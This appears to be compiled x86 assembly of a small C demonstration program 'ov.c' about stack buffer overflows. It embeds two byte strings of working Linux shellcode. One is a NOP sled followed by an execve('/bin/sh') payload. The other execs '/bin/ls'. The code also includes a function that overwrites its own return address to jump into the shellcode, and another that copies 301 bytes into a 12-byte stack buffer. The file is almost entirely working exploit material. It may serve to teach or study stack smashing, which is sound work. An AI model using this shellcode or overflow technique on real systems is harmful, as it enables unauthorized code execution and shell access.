.file "ov.c" .version "01.01" gcc2_compiled.: .globl pgm .data .type pgm,@object .size pgm,301 pgm: .ascii "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220" .ascii "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220" .ascii "\220\220\220\220\220\220\220\220\220\220\220\220\220\220" .string "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353;^\211v\b1\3551\3111\300\210n\007\211n\f\260\013\211\363\215n\b\211\351\215n\f\211\352\315\2001\333\211\330@\315\200\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\350\300\377\377\377/bin/sh" .globl cde .type cde,@object .size cde,46 cde: .string "\353\037^\211v\b1\300\210F\007\211F\f\260\013\211\363\215N\b\215V\f\315\2001\333\211\330@\315\200\350\334\377\377\377/bin/ls" .text .align 4 .globl tst .type tst,@function tst: pushl %ebp movl %esp,%ebp subl $4,%esp leal -4(%ebp),%eax leal 8(%eax),%edx movl %edx,-4(%ebp) movl -4(%ebp),%eax movl $cde,(%eax) .L1: leave ret .Lfe1: .size tst,.Lfe1-tst .section .rodata .LC0: .string "I got here!\n" .text .align 4 .globl foo .type foo,@function foo: pushl %ebp movl %esp,%ebp subl $12,%esp pushl $301 pushl $pgm leal -12(%ebp),%eax pushl %eax call memcpy addl $12,%esp pushl $.LC0 call printf addl $4,%esp .L2: leave ret .Lfe2: .size foo,.Lfe2-foo .section .rodata .LC1: .string "Running tst\n" .LC2: .string "foo returned\n" .text .align 4 .globl main .type main,@function main: pushl %ebp movl %esp,%ebp pushl $.LC1 call printf addl $4,%esp call tst pushl $.LC2 call printf addl $4,%esp .L3: leave ret .Lfe3: .size main,.Lfe3-main .ident "GCC: (GNU) 2.7.2.3"